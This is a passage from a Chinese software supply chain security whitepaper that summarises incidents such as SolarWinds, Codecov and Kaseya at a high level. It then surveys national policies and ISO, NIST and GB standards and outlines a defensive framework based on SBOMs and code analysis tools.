容器服务存在跨账户接管漏洞,原因是使用了过时的 RunC 工具 (v1.0.0-rc2)。攻击者可攻陷托管 ACI 的 k8s 集群,接管平台上其他客户的容器,执行 代码并访问平台上的数据。 2021.09 公开代码存储库 攻击者提交恶意代码到 GitHub 私有库,更改公司拍卖网站的前端并将钱包地址替换为 自己的钱包地址。原因在于仓库没有强制执行分支保护设置。 2021.08 开发工具 Realtek 旗下 WiFi 模块的开发包 (SDK) 中存在多个漏洞,包括命令注入、HTTP 的内存 损坏、自定义网络服务等。攻击者可利用这些漏洞破坏目标设备并以最高权限执行任 意代码。 2021.07 代码注入、IT 管理平 台、下游影响 与 REvil 勒索软件团伙相关的犯罪团伙发起了针对多家管理服务提供商 (MSP) 的大型 勒索软件攻击。经调查这些厂商均使用了来自 Kaseya 的 VSA 产品服务,该服务提供 对客户终端的统一远程监控与管理。由于 Kaseya 被攻陷,导致产品中被植入恶意代码, 超过 1500 多家下游用户企业被感染。 2021.06 开源组件 Linux 平台基于 Pling 的各个免费开源软件市场存在漏洞,浏览器没有为本地 WebSocket 服务器链接实现同源策略。攻击者可利用该漏洞,进行 XSS 蠕虫攻击或者 远程代码执行攻击。 2021.05 信息泄露 Colonial Pipeline 是美国最大的燃油管道运营商之一。犯罪组织 Darkside 利用该公司泄 露到暗网上的虚拟专用网络账户密码,成功入侵后窃取大量数据并安装了勒索软件, 最终索取了约 440 万美金的赎金。 2021.04 CI/CD、基础镜像 由于 Docker 映像创建中的错误,代码测试公司 Codecov 产品中的 bash uploader 脚本 被修改,导致产品会向攻击者的服务器发送客户在持续集成 (CI) 中的软件源代码、凭据、 令牌等敏感、机密信息。 2021.03 信息泄露、下游影响 硅谷初创公司 Verkeda 的摄像头数据库被攻破,约 15000 个监控摄像头的实时画面被 泄露。根源在于该公司的一个管理员账户的用户名和密码被公开。 2021.03 公开代码存储库、 代码植入 PHP 的独立 git 基础设施 git.php.net 服务器被攻击,攻击者冒充两名维护人员向服务 器上的存储库推送了恶意提交,并成功植入后门。该后门能获得网站系统的 HTTP 请 求远程代码执行权限。 2021.02 开源组件、依赖混淆 安全研究人员 Alex Birsan 通过利用开源生态安全机制上的漏洞(即依赖混淆),成功 侵入了微软、苹果、PayPal、特斯拉、优步等 35 家国际大型科技公司的内网。 2021.01 云安全、下游影响 Mimecast 是一家为电子邮件和企业信息提供云安全和风险管理服务的供应商。2021 年 1 月发现,有攻击者成功攻击 Mimecast 服务并获得了 Mimecast 为微软 365 用户 颁发的证书,使其能够干涉链接并从服务器窃取信息。 2020.12 软件供应商、下游 影响 SolarWinds 遭遇国家级 APT 团伙的供应链攻击,对美国各个行业的大量客户产生了严 重影响。攻击流程为:首先入侵 SolarWinds 达成初始妥协;此后将篡改软件部署后门, 再使用合法证书为植入了后门的组件签名;最后,监视技术环境,识别漏洞后进行提权、 横向移动等一系列操作,实现对 SolarWinds 的渗透,并获取用户数据。可能应用到的 攻击技术有:社会工程学攻击、暴力攻击以及零日漏洞利用。 2020.12 代码注入、下游影响 黑客攻击了越南政府证书颁发机构(VGCA),并在提供的客户端应用程序中植入后门。 该后门可以接收插件,也可以检索受害者的代理配置,并使用它来联系 C&C 服务器并 执行命令。它的旧版本 PhantomNet 曾在菲律宾被发现。 2020.11 软件漏洞、密保软件、 数字证书 WIZVERA VeraPort 是一款韩国集成安装工具,帮助用户在访问政府、银行网站时管 理所需安全软件。该软件在使用中仅验证下载的二进制文件数字签名是否有效,却不 验证其所属来源。Lazarus 网络犯罪组织利用该漏洞,针对支持 VeraPort 的网站, 利用盗取的数字证书对恶意软件进行签名并替换,使得用户下载到恶意软件。 2019.01 升级程序、硬件供应 商、下游影响 黑客更改了旧版本的华硕 Live Update Utility 软件,在其中植入了后门程序,并通过更 新的方式将该版本分发给全球的华硕设备。该软件使用合法的华硕证书签名,存储在 官方服务器上。攻击者可以通过远程服务器控制目标计算机,安装额外的恶意软件。 软件供应链安全技术白皮书 009 1.2.2 软件供应链攻击技术复杂多样 区别于孤立产品的安全漏洞利用,现实环境中的供应链攻击手法更加多样,实施途径更 加多元化。 由于开发成本的优势,在项目中广泛使用开源组件已成为主流的开发方式。低门槛的开 放社区与有限的维护资源的矛盾,给攻击者提供了可乘之机。在开源代码中插入恶意代码是 造成影响最为直接的攻击形式,但常规的恶意代码插入手段会受到人工代码审核等方式的遏 制。攻击者开始另辟蹊径,寻求人工代码审查存在的脆弱性。剑桥大学的研究员提出了一种 名为 Trojan Source [1] 的新型攻击技术,该技术利用 Unicode 中的不可见字符构造肉眼难以识 别的恶意隐藏代码,达到逃逸人工审查的效果。除此之外,明尼苏达大学的研究者提出向开 源项目提交隐藏漏洞的攻击方式,并实践于 Linux 内核项目 [2]。虽然这种做法因开源社区的 强烈谴责而被叫停,但仍然为安全社区警示了该攻击手段的隐蔽性和潜在的破坏性。 公共代码存储仓库是开源软件代码的载体,企业在产品的开发构建过程从中拉取第三 方依赖。但有效的安全控制与自动化的反制措施的缺失,会使公开代码仓库成为恶意代码 的潜在传播平台。2021 年初,安全研究员 Alex Birsan 提出名为依赖混淆(Dependency Confusion)的新供应链攻击方式 [3]。攻击者在公开存储库中创建私有依赖项的更高版本的同 名项目,使得恶意代码在构建的过程中被拉取。该技术巧妙的利用了主流包管理器存在的设 计缺陷,利用包名的模糊性在众多产品实现 RCE,被 PortSwigger 列为 2021 年度 Web 攻击 技术之首 [4]。 在 DevOps 理念深入人心、IT 云化服务登堂入室的今天,自动化构建、测试与部署等自 动化流水工具成为现代产品软件开发的选择。CI/CD 平台作为 DevOps 理念的落地实践,起 着保证持续集成和持续部署的关键作用,瞄准此类平台的攻击事件也逐渐涌现。在 2020 年 末的 SolarWinds 供应链攻击事件中攻击者在 IT 管理软件的代码仓库中插入恶意代码,编译 部署后分发至全球政府与跨国商业机构,影响重大。在 2021 年 4 月,由于 Docker 镜像创建 过程中的问题,代码测试公司 Codecov 产品中的 Bash Uploader 被修改,允许攻击者获取软 件源代码、凭据令牌等敏感信息 [5]。 [1] Boucher, N. and R. Anderson, Trojan Source: Invisible Vulnerabilities. arXiv preprint arXiv:2111.00169, 2021. [2] Open Source Insecurity: The Silent Introduction of Weaknesses through the Hypocrite Commit [3] https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 [4] https://portswigger.net/research/top-10-web-hacking-techniques-of-2021 [5] https://blog.sonatype.com/what-you-need-to-know-about-the-codecov-incident-a-supply-chain-attack-gone- undetected-for-2-months 2 供应链安全国内外形势 软件供应链安全技术白皮书 011 2.1 国内外供应链安全政策与发展 2.1.1 美国 2002 年,美国布什政府提出强调关注 ICT 供应链安全问题的信息安全战略,美国将 ICT 供应链安全问题提到了国家战略的高度予以重视。 2008 年,美国布什政府发布的 54 号国家安全总统令(NSPD54)提出国家网络安全综 合计划(CNCI),其部署的一项重要工作就是建立全方位的措施来实施全球供应链风险管理。 为落实该计划对 ICT 供应链安全问题的部署, 2008 年美国国家标准和技术研究院(NIST) 启动了 ICT 供应链风险管理项目(SCRM),在原《信息保障技术框架》(IATF)提出的“纵 深防御”战略的基础上,提出了“广度防御”的战略,开发全生命周期的风险管理标准。 NIST 认为,“纵深防御”战略侧重于通过分层的防御体系对网络和系统进行保护,其关注的 是产品在运行中的安全,因而不能解决供应链安全问题,而“广度防御”战略的核心是在系 统的完整生命周期内减少风险,这一认识的变化也奠定了当前 ICT 供应链安全风险管理方法 的基础。 2009 年,美国奥巴马政府在《网络空间安全政策评估报告》中指出,应对供应链风险除 了对国外产品服务供应商进行谴责外,更需要创建一套新的供应链风险管理方法。 2011 年,美国奥巴马政府发布的《网络空间国际战略》中将“与工业部门磋商,加强高 科技供应链的安全性”作为保护美国网络空间安全的优先政策。 2014 年,美国国会提议了《网络供应链管理和透明度法案》,意在确保为美国政府开发 或购买的使用第三方或开源组件以及用于其他目的的任何软件、固件或产品的完整性。该法 案要求制作物料清单 (BOM) 由“为美国政府开发或购买的软件、固件或产品的所有供应商” 提供的所有第三方和开源组件。法案中的措辞承认开源是一种关键资源,并清楚地表示其在 政府 IT 运营中持续发挥着关键作用。该法案是建立透明度的积极的第一步,这是一个非常有 价值和可以实现的目标。通过遵守新立法,联邦政府供应商将准确了解他们的代码中的内容, 并能够在发现任何问题时主动解决。 2018 年 12 月,美国国会通过了《安全技术法案》,《联邦采购供应链安全法案 2018》 作为该法案的第二部分一并签发。《联邦采购供应链安全法案 2018》创建了一个新的联邦采 购供应链安全理事会并授予其广泛权利,为联邦供应链安全制定规则,以增强联邦采购和采 购规则的网络安全弹性。 012 供应链安全国内外形势 2019 年 5 月,美国特朗普政府签署了名为《确保信息和通信技术及服务供应链安全》的 行政令,宣布美国进入受信息威胁的国家紧急状态,禁止美国个人和各类实体购买和使用被 美国认定为可能给美国带来安全风险的外国设计制造的 ICT 技术设备和服务。 2021 年 1 月,美国商务部发布《确保信息和通信技术及服务供应链安全》的最新规则, 旨在落实 2019 年 5 月 15 日特朗普政府的《确保信息和通信技术及服务供应链安全的总统令》 的相关要求,建立审查外国对手的 ICT 服务的交易流程和程序,禁止任何受美国管辖的人获 取、进口、转让、安装、买卖或使用可能对美国国家安全、外交政策和经济构成威胁的外国 ICT 技术与服务。 2.1.2 欧盟 2012 年,欧盟网络和信息安全局(ENISA)发布了《供应链完整性⸺ICT 供应链风险 和挑战概览,以及未来的愿景》报告,并于 2015 年更新。除了提供可供 ICT 供应链相关参 与者借鉴的实践做法外,还建议设立国际评估框架,以有效评估 ICT 供应链风险管理。 2016 年上半年,欧洲标准化委员会(CEN)、欧洲电工委员会(CENELEC)与欧洲电信 标准协会(ETSI)对欧洲 ICT 产品和服务的政府采购所适用的可接入性提出了新的标准,即 通信技术产品和服务政府采购所适用的可接入性规定(EN 301 549)。该标准是欧洲首次对 通信技术产品和服务的政府采购所适用的可接入性标准,并以法规的形式加以强调。该标准 指出,政府部门与其他公共机构在采购通信技术产品和服务的时候,要确保网站服务、软件、 电子设备与其他产品具有更好的可接入性,即:上述产品与服务的采购要本着让更多人使用 的理念出发,即体现“以人为本”的原则进行。 2017 年 9 月,欧洲委员会主席 Jean-Claude Juncker 在其盟情咨文中提出了《欧盟网络 安全法案》。2019 年 6 月,新版《网络安全法》正式施行,取代了旧版网络安全法案,该法 案表现出了欧盟对中国 IT 供应商在欧洲市场日益增长的影响力的担忧和关切。 2019 年 4 月,欧盟《外国直接投资审查条例》生效。该条例指出, 欧盟有权对参与 5G 网络等关键基础设施投资的外商进行审查和定期监控,以保障 5G 网络等关键基础设 施的安全性,同时避免关键资产对外商的过度依赖。这也是欧盟保障 5G 供应链安全的有 效工具。 2021 年 7 月,欧盟网络和信息安全局(ENISA)发布了《供应链攻击威胁全景图》,该 报告旨在描绘并研究从 2020 年 1 月至 2021 年 7 月初发现的供应链攻击活动。该报告通过 分类系统对供应链攻击进行分类,以系统化方式更好地进行分析,并说明了各类攻击的展现 软件供应链安全技术白皮书 013 方式。报告指出,组织机构更新网络安全方法时应重点关注供应链攻击,并将供应商纳入防 护和安全验证机制中。 2.1.3 英国 2013 年,英 国 可 信 软 件 倡 议(Trustworthy Software Initiative,TSI)通过解决软件 可信性中的安全性、可靠性、可用性、弹性和安全性问题,提升软件应用的规范、实施和使 用水平,在 ICT 供应链的软件领域建立起基于风险的全生命周期管理。由 TSI 发布的可信软 件框架 (Trustworthy Software Framework,TSF) 为不同领域的特点术语、引用、方法以及数 据共享技术提供互通的可能,为软件可信提供最佳实践及相关标准。 2014 年,在 TSI 及其他机构的努力下,“软件可信度 - 治理与管理 - 规范”(PAS754: 2014)发布。该规范在英国软件工程上具有里程碑的意义,涵盖了技术、物理环境、行为管 理等多个方面,并规定了申请流程,为采购、供应或使用可信赖软件提供帮助,提高业务水平, 降低安全风险。 2019 年,《英国电信供应链回顾报告》发布,报告结合英国 5G 发展目标,以及 5G 在 经济和社会发展中的作用,强调了安全在电信这一关键基础设施领域的重要意义,并为电信 供应链管理展开综合评估。 2.1.4 日本 日本在 2018 年版的《网络安全战略》中,强调了“加强组织的能力”,呼吁供应链各 相关方积极协作,通过组织间多样化的连接,创造有价值的供应链。其具体举措一是明确 供应链中存在的威胁,制定并推广相关保护框架;二是充分调动中小企业的积极性,推 动其创新。 日本在 2020 年提交一项关于网络技术安全的法案⸺《特定高度电信普及促进法》,旨 在维护日本的网络信息安全,确保日本企业慎重应用新一代网络技术,5G 和无人机将是新法 的首批适用对象。新法要求日本相关企业在采购高级科技产品及精密器材时,必须遵守三个 安全准则:第一,确保系统的安全与可信度;第二,确保系统供货安全;第三,系统要能够 与国际接轨。这套准则标明了日本企业应考虑使用的日本或欧美的相关产品。同时,日本政 府采购也已将华为和中兴排除在外,并考虑在水电和交通等基础设施领域只运用本国数据库, 并要彻底防止使用有中国科技产品的其他国家数据库。同时,政府将通过税制优惠措施在内 的审批手段,引导企业重用日本本国研发的新一代通信器材。 014 供应链安全国内外形势 2.1.5 俄罗斯 在《2025 年前电子工业发展战略》明确提出,俄罗斯首先要解决的是对进口产品的依赖, 而为了解决这些问题当务之急是要“尽快实现创新成果的应用”。为此,近年来,俄罗斯加 大了对进口信息设备使用的管理和控制。普京曾公开要求俄罗斯仅有的三家具有部分政府管 理职能的国家公司之一的俄罗斯技术公司使用国产软件产品,并称如果该公司不使用国产软 件将取消其承接国家订货任务的资格。同时,国防部等涉及国家安全的关键及重点部门、领域、 行业和个人也被要求必须使用俄制产品。为了保证信息安全,俄加大了国产安全手机的配发, 国产操作系统亦开始在俄罗斯军方作战指挥系统终端中广泛应用。2018 年国防部还启动了所 有计算机全部换装国产操作系统的工作。不仅如此,为确保重要部门之间能够实现安全的互 联和通信传输,俄罗斯着手建设基于国产技术、能够实现安全加密通信的“国家信息通信网”, 并计划于 2018 年开始为总统办公厅等机构提供接入服务。 总的来说,俄罗斯密集出台了一系列旨在推进俄制产品应用的政策措施,以期从源头上 杜绝因使用不安全、留有后门的信息产品所带来的安全隐患,希望通过加大本国产品应用拉 升市场需求、促进国内生产,并通过实际应用,不断检验、丰富、完善和提高本国产品的功能、 特性及竞争力,形成产业发展的良性互动。 此外,在跨国合作上,中、俄等国在 2011 年和 2015 年两度向联合国提交的《信息安全 国际行为准则》中,也就确保 ICT 供应链安全提出了具体倡议,强调应“努力确保信息技术 产品和服务供应链的安全,防止他国利用自身资源、关键设施、核心技术、信息通讯技术产 品和服务、信息通讯网络及其他优势,削弱接受上述行为准则国家对信息通讯技术产品和服 务的自主控制权,或威胁其政治、经济和社会安全”。 2.1.6 中国 2014 年 5 月 22 日,国家互联网信息办公室宣布我国即将推出网络安全审查制度,初步 界定了网络安全审査的含义。 2015 年 7 月 1 日,《中华人民共和国国家安全法》第 59 条规定了网络安全审査制度由 国家建立。 2016 年 7 月,《国家信息化发展战略纲要》明确我国要建立实施网络安全审査制度,对 关键信息基础设施中使用的重要信息技术产品和服务开展安全审査。 2016 年 11 月 7 日,《中华人民共和国网络安全法》中明确关键信息基础设施运营者采 购网络产品和服务,可能影响国家安全的应通过国家有关部门组织开展的网络安全审查。 软件供应链安全技术白皮书 015 2017 年 6 月,我国颁布《网络产品和服务安全审办法 ( 试行 )》和《网络关键设备和网 络安全专用产品目录 ( 第一批 )》。 2020 年 4 月,我国多部门联合发布《网络安全审査办法》,进一步细化明确了网络安全 审查的范围、机制、流程等相关要求。 2021 年 4 月,国务院常务会议正式通过《关键信息基础设施安全保护条例》,在该条例 中明确了运营者采购产品和服务的安全管理措施。 2021 年 11 月,国家互联网信息办公室通过《网络安全审查办法》,该办法将网络平台 运营者开展数据处理活动影响或者可能影响国家安全等情形纳入网络安全审查,并明确掌握 超过 100 万用户个人信息的网络平台运营者赴国外上市必须向网络安全审查办公室申报网络 安全审查。 2.1.7 总结 近年来,政府在供应链安全领域发挥着越来越重要的影响,但除积极方面之外,以美国 为首的部分发达国家政府在其中注入了过多地缘政治因素的考量,甚至将其制定相关法规的 权力作为国际竞争的工具,任由敌视、焦虑情绪主导,人为割裂了原本可以互联、互通、互 利的全球供应链,使其风险从通常意义上的网络安全风险上升为供应链断供风险。另一方面, 面对发达国家以法令出台、贸易制裁、技术出口等手段带来的供应链跨境安全管控风险,中 国、俄罗斯等国家立足国情,集中优势资源开展核心技术攻关,提升自研自制能力,补齐短板、 发展优势能力,加强对供应链产品和服务的安全审查,逐步建立和完善供应链安全风险管理 体系。 2.2 国内外供应链安全标准与实践 2.2.1 国际标准 供应链安全的标准化工作经历了由传统供应链安全向 ICT 供应链安全的演变,主要标准 如下: 2.2.1.1 ISO 28000 系列标准 “ISO 28000 系列标准”主要针对传统供应链安全,包含:《ISO 28000:2007 供应链 安全管理体系 规划》、《ISO 28001:2007 供应链安全管理体系 实施供应链安全、评估和计 划的最佳实践 - 要求和指南》、《ISO 28003:2007 供应链安全管理体系 供应链安全管理系 统机构审计和认证要求》、《ISO 28004:2007 供应链安全管理体系 实施指南》。ISO28000 016 供应链安全国内外形势 系列标准帮助组织建立、推进、维护并提高供应链的安全管理系统,明确组织需建立最低安 全标准,并确保和规定安全管理政策的一致性;建议组织通过第三方认证机构对安全管理系 统进行认证或登记,并对供应链中弹性管理系统提出更明确的要求。ISO28000 系列标准对 于 ICT 供应链安全管理体系的建设具有一定的借鉴意义。 2.2.1.2 ISO 27036 系列标准 ISO/IEC 27036 信息技术 安全技术 供应链关系信息安全(1- 概述和大纲 2- 要求 3-ICT 供 应链安全指南 4- 云服务安全指南) ISO 27036 系列标准中,《ISO/IEC 27036-1 综述和概念》对处于多供应商关系环境下相 对安全组织的信息和基础设施安全管理进行了概述;《ISO/IEC 27036-2 通用要求》为定义、 实施、操作、监控、评审、保持和改进供应商关系管理规定了通用性的信息安全要求,这些 要求覆盖了产品和服务的采购、供应的所有情况,例如制造业或装配业、业务过程采购、知 识过程采购、建设经营转让和云计算服务,适用于所有类型、规模和性质的组织;《ISO/IEC 27036-3 ICT 供应链安全管理指南》专门针对 ICT 供应链安全提出提出查询和管理地理分散 的 ICT 供应链安全风险控制要求,并将信息安全过程和实践整合到系统和软件的生命周期过 程中,且专门考虑了与组织及技术方面相关的供应链安全风险;《ISO/IEC 27036-4 云服务安 全指南》专门针对云计算服务安全提出要求,在云服务使用和安全风险管理过程中提供量化 指标,同时针对云服务获取、提供过程中对组织产生的信息安全应用风险隐患,提供应对指 南使其更加有效。 2.2.1.3 ISO/IEC 20243 开放可信技术供应商标准⸺减少被恶意污染和伪冒的产品 该标准提出保障商用现货 (COTS) 信息通信技术 (ICT) 产品在生命周期内完整性,安全性 的最佳实践和技术要求,是针对 COTS ICT 软硬件产品供应商在技术研发及供应链过程安全 的第一项国际标准。 2.2.2 美国标准 美 国 针 对 供 应 链 安 全, 制 定 了 NIST SP 800-161《Supply Chain Risk Management Practices for Federal Information Systems and Organizations(联邦信息系统和组织的供应 链风险管理实践)》(以下简称 NIST SP 800-161)和 NIST IR 7622《National Supply Chain Risk-Management Practices for Federal Information Systems(联邦信息系统供应链风险管 理实践理论)》(以下简称 NIST IR 7622)这两个影响力较大的标准。 软件供应链安全技术白皮书 017 2.2.2.1 NIST SP 800-161 该标准规定了 ICT 供应链风险管理的基本流程,参考了 NIST SP 800-39《管理信息安全 风险》中提出的多层次风险管理方法,分别从组织层、业务层以及系统层三个层面和构建风 险管理框架、评估风险、应对风险以及监控风险 4 个步骤来解决风险。 2.2.2.2 NIST IR 7622 该标准给出了供应链风险管理的实施流程。对于高影响系统,ICT 供应链风险管理被明 确嵌入到采购进程中来分析潜在的供应链风险,实施额外的安全控制以及供应链风险管理的 实践;对中度影响的系统,授权机构应该做出是否实施 ICT 供应链风险管理的决策;低影响 系统不需要实施大量的 ICT 供应链风险管理。 2.2.3 我国标准 2.2.3.1 GB/T 36637-2018 信息安全技术 ICT 供应链安全风险管理指南 2018 年 4 月,美国商务部发布公告称,美国政府在未来 7 年内禁止中兴通讯向美国企业 购买敏感产品,引起社会广泛关注。该事件反映出我国在某些关键核心部件的研发、生产、 采购等环节存在的供应链安全风险,同时凸显出加强我国 ICT 供应链安全研究、评估和监管 的重要性。基于此事件,我国及时出台供应链安全管理国家标准 GB/T 36637-2018《信息安 全技术 ICT 供应链安全风险管理指南》,采用风险评估的思路,从产品全生命周期的角度, 针对设计、研发、采购、生产、仓储、运输 / 物流、销售、维护、销毁等各环节,开展风险 分析及管理,以实现供应链的完整性、保密性、可用性和可控性安全目标。 2.2.3.2 GB/T 24420-2009 供应链风险管理指南 该标准主要针对传统供应链风险管理,在《GB/T 24353-2009 风险管理 原则与实施指 南》的指导下,参考国际航空航天质量标准(IAQS)9134、美国机动车工程师协会标准 SAE ARP9134 和欧洲航天工业协会标准 AECMAEN 9134《供应链风险管理指南》等编制而成, 给出了供应链风险管理的通用指南,包括供应链风险管理的步骤,以及识别、分析、评价和 应对供应链风险的方法和工具,适用于任何组织保护其在供应链上进行的任何产品的采购。 2.2.3.3 GB/T 32921-2016 信息技术产品供应方行为安全准则 为贯彻落实《全国人民代表大会常务理事会关于加强网络信息保护的决定》的精神,加 强信息技术产品用户相关信息维护,该标准规定了信息技术产品供应方在相关业务活动中应 018 供应链安全国内外形势 遵循的基本安全准则,主要包括收集和处理用户相关信息的安全准则、远程控制用户产品的 安全准则等内容。 2.2.3.4 其他标准 其他 ICT 供应链安全管理相关国内标准包括: ● GB/T 22239-2019 信息安全技术 网络安全等级保护基本要求 ● 银办发〔2021〕146 号 关于规范金融业开源技术应用与发展的意见 ● GB/T 32926-2016 信息安全技术 政府部门信息技术服务外包信息安全管理规范 ● GB/T 31168-2014《信息安全技术云计算服务安全能力要求》 3 软件供应链安全技术框架 020 软件供应链安全技术框架 3.1 软件供应链安全 软件供应链安全覆盖整个软件生命周期过程,单从软件产品的复杂性来说,除了保障软 件项目自身的安全之外,还包括每个项目的依赖关系与可传递依赖关系,以及这些关系链所 组成的软件生态系统的安全。尤其在开源安全问题上,由于间接依赖关系的传递带来隐性漏 洞包含问题,使用免责条款替代合同约束带来的信任风险与法律风险,都更显著,也是近几 年软件供应链攻击技术暴露较多的地方。 对企业来说,谈及软件供应链安全,需要面临很多具体问题,如: 6 表 3.1 企业软件供应链安全需求 企业客户对软件供应链的需求 能否获得清晰的软件成分信息,采购时支撑选型决策? 获得可选范围内软件成分或开源组件已知的安全问题(如已知漏洞),危险程度。 供应商是否使用了安全开发工具进行有效管理? 选择的供应商或开源项目能否迅速响应安全问题,协助提供解决方案? 评估法律风险(知识产权、许可证范围、免责条款)、商务风险。 … 如何有效的向最终用户传递软件供应链安全能力? 接收到安全应急通告后,提供的信息是否能支撑最终用户快速完成风险评估? 如何向下游企业、最终用户提供软件供应链安全证明,获得信任? 国际软件公司要求提供 SBOM [6](国际标准格式,软件成分清单)。 … 如何维护企业自身的软件供应链安全? 如何及时检查、评估软件直接依赖、间接依赖的开源组件,第三方组件安全? 如何记录、跟踪软件的组件的详细信息与更新情况,发生问题的时候能进行溯源、定位? 向下游企业、最终用户传递 SBOM 时,如何保证不泄漏给第三方? … 企业要实现软件供应链安全,需要有效的机制来清晰的传递上下游间所依赖的软件信息, 需要通过技术手段和管理手段来保障企业自身的安全和软件产品的安全,需要行业内形成可 [6] Software Bill of Materials | CISA 软件供应链安全技术白皮书 021 以相互信任的机制,向最终用户提供软件供应链安全的体系化评估方案。下面我们将基于这 三个理念来阐述企业进行软件供应链安全管理所需要达到的能力。 3.2 软件供应链安全理念 一、软件供应链成分透明程度 企业要管理软件供应链,首先要有一种统一的描述方法,能清晰的传递上下游间的软件 信息,向最终用户展示软件供应链的组成成分的情况。这种软件供应链描述方法,与软件资 产管理中定义的软件标识相比,要深入软件产品的组成结构,力求从安全视角能足够充分的 刻画软件产品的组成成分与依赖关系。 较早,在美国 H.R.5793 法案中参考传统供应链管理的“物料清单”的概念,提出了软件“最 小要素”及“软件物料清单”(SBOM)的要求规范。目前,美国的政府单位,如 NIST、 CISA 都将 SBOM 确定为推动软件供应链风险管理的优先事项,并在多项政策、标准中将其 作为方法基础。然而,在实际使用中,SBOM 也遇到了挑战,如“最小要素”在软件开发过 程中是对应具体的代码文件,还是功能模块。当粒度过细的时候,很多企业也担心过度暴露 内部代码结构,无助于最终用户识别漏洞,发现安全风险。 考虑企业可实际落地情况,我们将软件“最小要素”分为不同粒度的“软件成分”,并 引入软件供应链成分透明程度的概念描述,透明程度越高的软件成分粒度越小。 透明度指标 不透明 微透明 半透明 透明 软件成分作为“最 小要素”单位的 颗粒度 软件整体作为一 个软件成分。 直接依赖检测出的开源 组件、第三方组件,组 件基本信息完整,直接 依赖关系正确。 通过组件指纹识别出的开 源组件、第三方组件,组 件基本信息完整,直接依 赖关系正确,包含必要组 件扩展信息完整(如:核 心组件的开源知识产权信 息、关联漏洞信息)。 通过代码片段识别出的开 源组件、第三方组件,组 件基本信息完整,直接依 赖及间接依赖关系清晰, 包含重要的组件扩展信息 完整。 软件成分在不同透明程度下,都会构成一张软件成分信息集合组成的“软件成分清单”, 包括组成软件的所有组件名称、组件的信息、组件之间的关系以及层级关系。每一个软件, 都对应一个组成成分表,通过标准的数据格式存储、记录构成的基础信息,并根据这些存储 的数据唯一地识别出这些软件中的组件,溯源组件的来源与维护状态。 软件成分信息兼容 SBOM 标准,信息示例如下表: 022 软件供应链安全技术框架 表 3.2 软件成分信息 类型 组成项 描述 软件基本信息 软件名称 标识软件的实体名称 软件作者名称 软件责任人或团体名称 软件供应商名称 原始供应商名称 软件版本 供应商用于标识软件修改的版本标识符 软件列表、软件 包括开源许可证版权与开放标准、第三方授权信息等 时间戳 记录软件基本信息生成的日期和时间 软件信息签名(如校验哈希值) 保证软件信息真实性、完整性 唯一标识 用于标识软件或在软件成分清单数据库中查找的唯一标识符 软件间的关系 包含关系 如源代码与编译后二进制的包含关系,发布容器镜像与二进制的包含关 系等 依赖关系 包括代码显示依赖、包依赖、编译依赖、运行时依赖等 其他关系 其他关联关系 软件扩展信息 软件知识产权信息 包括开源许可证版权与开放标准、第三方授权信息等 关联漏洞信息 漏洞信息,如对应 CVE、CNVD、CNNVD 等 备注说明 二、软件供应链组成可评估能力 为应对供应链的威胁,保障自身的 IT 基础设施安全,企业需要构建软件成分清单来梳理 供应链产品,识别和管理关键软件供应商,在供应链的生命周期的各阶段通过安全评估控制 安全风险,削减供应链攻击带来的威胁。 1. 软件开发过程安全可评估 在软件的开发生命周期中,漏洞的引入不止有开发人员编写的源代码,还有所依赖的开 源组件、开发和构建工具等,依照软件的开发和构建过程,企业需要从如下方面建设开发过 程安全评估能力。 ● 开源组件引入安全管控 由于开发成本的优势,在项目中广泛使用开源组件已成为主流的开发方式,包括开发框架、 软件供应链安全技术白皮书 023 功能组件等,在系统开发过程中,应严格控制引入的开源组件风险,将已知漏洞摒除于软件 交付运行之前。 开源组件安全评估能力由软件成分分析(SCA)提供,在代码构建时,通过 SCA 工具对 项目的第三方组件依赖进行漏洞分析,由开发人员及时处理存在漏洞的组件。 ● 源代码漏洞管控 系统开发过程中,不规范的安全编码也会引入漏洞风险,如 SQL 语句拼接所导致的 SQL 注入漏洞。 为降低开发过程中源代码漏洞的产生,提升源代码安全质量,可使用 SAST(Static Application Security Testing,通常指静态源代码安全审计工具)在开发 IDE 工具和持续集成 过程中,对源代码进行安全扫描,或者使用 IAST(Interactive Application Security Testing, 通常指交互式安全测试工具)在系统运行时通过污点分析检出源代码漏洞。 2. 软件交付安全可评估 软件交付是开发商将成品完成封装,交付给下游用户,也是下游企业引入供应链产品的 起始点,作为供应商,除保证交付软件安全外,也应将软件成分清单一并交付给下游企业; 供应链下游企业在获得供应商的软件组件成分清单后,也可同步向其下游企业、最终用户提 供自己维护的软件组件成分表,那么最终用户就已经具备了依据安全通报、威胁情报监控等 第三方信息来分析、评估软件供应链安全的基本条件。 024 软件供应链安全技术框架 3. 软件运营安全可评估 供应链软件产品交付运行后,供应商应在产品的生命周期内提供安全保障服务,对产品 漏洞及时修复;最终用户也应根据供应商所提供的 SBOM 将供应链产品纳入企业资产管理, 定期对资产进行安全评估,结合漏洞预警,对受影响的产品进行加固和修复。 在实现技术上,对软件供应链组成的可评估能力与企业内部进行的安全开发治理有很多 相同之处。需要指出的是,软件供应链安全更关注整个软件生命周期中每个迭代或每个构建 涉及的不同组件、依赖关系的变化等特征,也同时关注整个系统的安全性评估状态。 三、可信任软件供应链 软件供应链安全的复杂性之一在于多级上下游安全问题的堆叠,很难依靠企业自身力量 完成整个链条的安全评估与把控,需要从监管层面加强供应链产品安全认证管理,提供企业 SBOM 托管和可信认证服务,与企业共同构建一个可信的软件供应链生态体系。 1. 向软件行业提供开放的、可信任的软件供应链关键数据(如软件成分信息、组件情报 信息)管理机制。 软件产品最终用户的软件供应链安全依赖与上下游企业与这个产品相关的组件信息的集 合,透明程度高的软件成分信息对软件供应链治理至关重要,但是对软件企业来说增加了产 品管理成本和安全风险。需要制定一套可信任的机制,既能鼓励软件企业参与软件供应链治 理的积极性,又要保证软件供应链基础信息的高质量,向最终用户提供可信任的软件供应链 评估核心数据。 2. 软件行业的供应链风险监控与管理方法。 企业需要监控软件产品及依赖的上游组件中是否存在高危组件,下游交付环节中使用软 件公开基础平台(如云计算平台)或网络基础设施是否出现问题,同时要管控开源软件的使用, 建立开源软件资产台账,持续监测和降低所使用开源软件的安全风险。但实际上,企业很难 监控上下游的供应链风险监控与管理情况,需要从监管层面对高危组件、软件公开基础平台、 网络基础设施、高风险开源软件进行监控,通过如黑白灰名单等机制提供给软件企业和软件 用户进行软件供应链风险监控、管理。 3. 向社会提供可信任的厂商软件供应链安全度量标准与认证体系 可信任的软件供应商,应从可信需求分析与设计、可信开发、可信测试、可信交付、生 命周期管理、开源及第三方管理、配置管理等不同维度进行评估。评估符合要求的企业应具 软件供应链安全技术白皮书 025 备良好的软件供应链安全评估与监控、验证能力,管理风险。 